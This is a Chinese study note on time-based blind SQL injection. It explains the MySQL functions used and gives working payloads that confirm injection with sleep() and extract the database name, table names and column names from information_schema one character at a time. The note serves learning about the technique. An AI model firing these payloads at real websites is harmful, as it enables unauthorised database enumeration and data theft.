sql注入学习笔记(四)时间型盲注

       时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

函数:

lenght()     //长度
ascii()      //ASCII码
mid()       //截取字符串
substr()     //截取字符串
hex() //以上在布尔型中介绍过 
sleep() //时间注入的核心函数 
   sleep(1) //过1秒响应 
if()函数 
if(1=1,3,4) 返回 3 
if(1=2,3,4) 返回4

需要利用到的工具:一般浏览器会自带:火狐浏览器在设置->Web开发者->网络

sql注入学习笔记(四)时间型盲注_第1张图片

构造判断语句:

id=1' and if(1=2,1,sleep(2)) 

id=1" and if(1=2,1,sleep(2)) 

id=1) and if(1=2,1,sleep(2)) 

注:若时间运行时间为2s以后,则判断正确。

构造爆库语句:
 

?id=1' and if(length(database())>1,sleep(2),1) --+      //猜数据库名称长度

?id=1' and if(ord(mid(database(),1,1))>1,sleep(2),1) --+      //猜数据库名称

爆表名

?id=1' and if(ord(mid((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1) ,1,1))>1,sleep(2),0) --+

爆列名

?id=1' and if(ord(mid((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名'  limit 0,1) ,1,1))>1,sleep(2),0) --+

你可能感兴趣的:(安全)